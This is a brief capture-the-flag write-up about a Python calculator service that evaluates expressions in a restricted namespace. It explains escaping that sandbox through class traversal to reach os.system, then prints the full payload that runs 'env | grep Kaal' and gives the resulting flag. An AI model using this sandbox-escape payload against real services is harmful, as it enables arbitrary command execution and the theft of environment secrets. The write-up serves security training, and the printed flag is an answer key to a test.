Overview
The calculator service evaluates math expressions using a restricted Python namespace where standard builtins like __import__ are disabled.
Reconnaissance
We can traverse class inheritance from basic tuples to retrieve the global object namespace and find loaded classes.
Exploitation Strategy
By indexing the _wrap_close class and fetching its global dictionary, we call system('env') to dump environment variables containing the flag.
Solution Code
# Execute payload via class traversal:
# ().__class__.__base__.__subclasses__()[-7].__init__.__globals__['system']('env | grep Kaal')
# Output: FLAG=Kaal{SYST3M_3p1l0gu3_c9df25f7}Flag
Kaal{SYST3M_3p1l0gu3_c9df25f7}